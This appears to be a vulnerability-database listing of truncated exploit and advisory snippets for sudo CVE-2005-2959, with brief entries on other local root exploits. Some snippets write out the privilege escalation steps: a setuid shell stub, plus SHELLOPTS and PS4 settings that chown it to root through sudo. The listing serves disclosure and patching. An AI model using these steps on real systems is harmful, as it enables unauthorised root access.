Sudo <= 1.6.8p9 (SHELLOPTS/PS4 ENV variables) Local Root Exploit

No description provided by source. Sudo local root escalation privilege vuln versions : sudo 1.6.8p10 by breno You need sudo access execution for some bash script Use csh shell to change SHELLOPTS env ie: %cat x.sh !/bin/bash -x echo "Getting root!!" % cat /etc/sudoers ... breno ALL=ALL...

Sudo 1.6.8p9 - SHELLOPTSPS4 Environment Variables Privilege Escalation

Sudo 1.6.8p9 - SHELLOPTSPS4 Environment Variables Privilege Escalation Sudo local root escalation privilege vuln versions : sudo int main setuid0; system"/bin/sh"; % % gcc -o egg egg.c % setenv SHELLOPTS xtrace % setenv PS4 '$chown root:root egg' % sudo ./x.sh echo Getting root!! Getting root!! %...

Sudo 1.6.8p9 - SHELLOPTS/PS4 Environment Variables Privilege Escalation

Sudo local root escalation privilege vuln versions : sudo int main setuid0; system"/bin/sh"; % % gcc -o egg egg.c % setenv SHELLOPTS xtrace % setenv PS4 '$chown root:root egg' % sudo ./x.sh echo Getting root!! Getting root!! % ls -lisa egg 1198941 8 -rwxr-xr-x 1 root root 7428 2005-11-09 13:54 eg...

Mandrake Linux Security Advisory : sudo (MDKSA-2005:201)

Tavis Ormandy discovered that sudo does not perform sufficient environment cleaning; in particular the SHELLOPTS and PS4 variables are still passed to the program running as an alternate user which can result in the execution of arbitrary commands as the alternate user when a bash script is...

CVE-2005-2959

Incomplete blacklist vulnerability in sudo 1.6.8 and earlier allows local users to gain privileges via the 1 SHELLOPTS and 2 PS4 environment variables before executing a bash script on behalf of another user, which are not cleared even though other variables are...

CVE-2005-2959

Incomplete blacklist vulnerability in sudo 1.6.8 and earlier allows local users to gain privileges via the 1 SHELLOPTS and 2 PS4 environment variables before executing a bash script on behalf of another user, which are not cleared even though other variables are...

CVE-2005-2959

Incomplete blacklist vulnerability in sudo 1.6.8 and earlier allows local users to gain privileges via the 1 SHELLOPTS and 2 PS4 environment variables before executing a bash script on behalf of another user, which are not cleared even though other variables are...

DEBIAN-CVE-2005-2959

Incomplete blacklist vulnerability in sudo 1.6.8 and earlier allows local users to gain privileges via the 1 SHELLOPTS and 2 PS4 environment variables before executing a bash script on behalf of another user, which are not cleared even though other variables are...

[SECURITY] [DSA 870-1] New sudo packages fix arbitrary command execution

-------------------------------------------------------------------------- Debian Security Advisory DSA 870-1 [email protected] http://www.debian.org/security/ Martin Schulze October 25th, 2005 http://www.debian.org/security/faq -...

[SECURITY] [DSA 870-1] New sudo packages fix arbitrary command execution

-------------------------------------------------------------------------- Debian Security Advisory DSA 870-1 [email protected] http://www.debian.org/security/ Martin Schulze October 25th, 2005 http://www.debian.org/security/faq -...

CVE-2005-2959

CVE-2005-2959 concerns sudo 1.6.8 and earlier, where the SHELLOPTS and PS4 environment variables are not cleared during privilege-escalation prompts. The result is a local privilege escalation when a user with limited sudo privileges runs a bash script, as these variables can be passed through to...

CVE-2005-2959

Incomplete blacklist vulnerability in sudo 1.6.8 and earlier allows local users to gain privileges via the 1 SHELLOPTS and 2 PS4 environment variables before executing a bash script on behalf of another user, which are not cleared even though other variables are...

CVE-2005-2959

Incomplete blacklist vulnerability in sudo 1.6.8 and earlier allows local users to gain privileges via the 1 SHELLOPTS and 2 PS4 environment variables before executing a bash script on behalf of another user, which are not cleared even though other variables are...

[Full-disclosure] [SECURITY] [DSA 870-1] New sudo packages fix arbitrary command execution

-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 - -------------------------------------------------------------------------- Debian Security Advisory DSA 870-1 [email protected] http://www.debian.org/security/ Martin Schulze October 25th, 2005 http://www.debian.org/security/faq -...

sudo -- arbitrary command execution

Tavis Ormandy reports: The bash shell uses the value of the PS4 environment variable after expansion as a prefix for commands run in execution trace mode. Execution trace mode xtrace is normally set via bash's -x command line option or interactively by running "set -o xtrace". However, it may als...

DSA-870-1 sudo - missing input sanitising

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Adobe Version Cue 1.0/1.0.1 (OSX) - Local Privilege Escalation

!/usr/bin/perl Adobe Version Cue VCNativeOSX: local root exploit. by: vade79/v9 [email protected] fakehalo/realhalo Adobe Version Cue's VCNative program writes data to a log file in the current working directory while running as setuid root. the logfile is formated as /VCNative-.log, which is easily...

[Full-disclosure] Operator Shell (osh) Stack-based Buffer Overflow

!/usr/bin/perl OSH 1.7 Exploit 2 Gonna bang away at this until it's removed ;- EDUCATIONAL purposes only.... :- by Charles Stevenson core [email protected] Description: The Operator Shell Osh is a setuid root, security enhanced, restricted shell. It allows the administrator to carefully limit the...

SUSE-SA:2005:036: sudo

The remote host is missing the patch for the advisory SUSE-SA:2005:036 sudo. Sudo8 allows the execution of commands as another user and gives the administrator more flexibility than su1. A race condition in the pathname handling of sudo may allow a local user to execute arbitrary commands. To...

FreeBSD : sudo -- environmental variable CDPATH is not cleared (045944a0-6bca-11d9-aaa6-000a95bc6fae)

A sudo bug report says : sudo doesn't unset the CDPATH variable, which leads to possible security problems. %NASLMINLEVEL 70300 C Tenable Network Security, Inc. The descriptive text and package checks in this plugin were extracted from the FreeBSD VuXML database : Copyright 2003-2018 Jacques...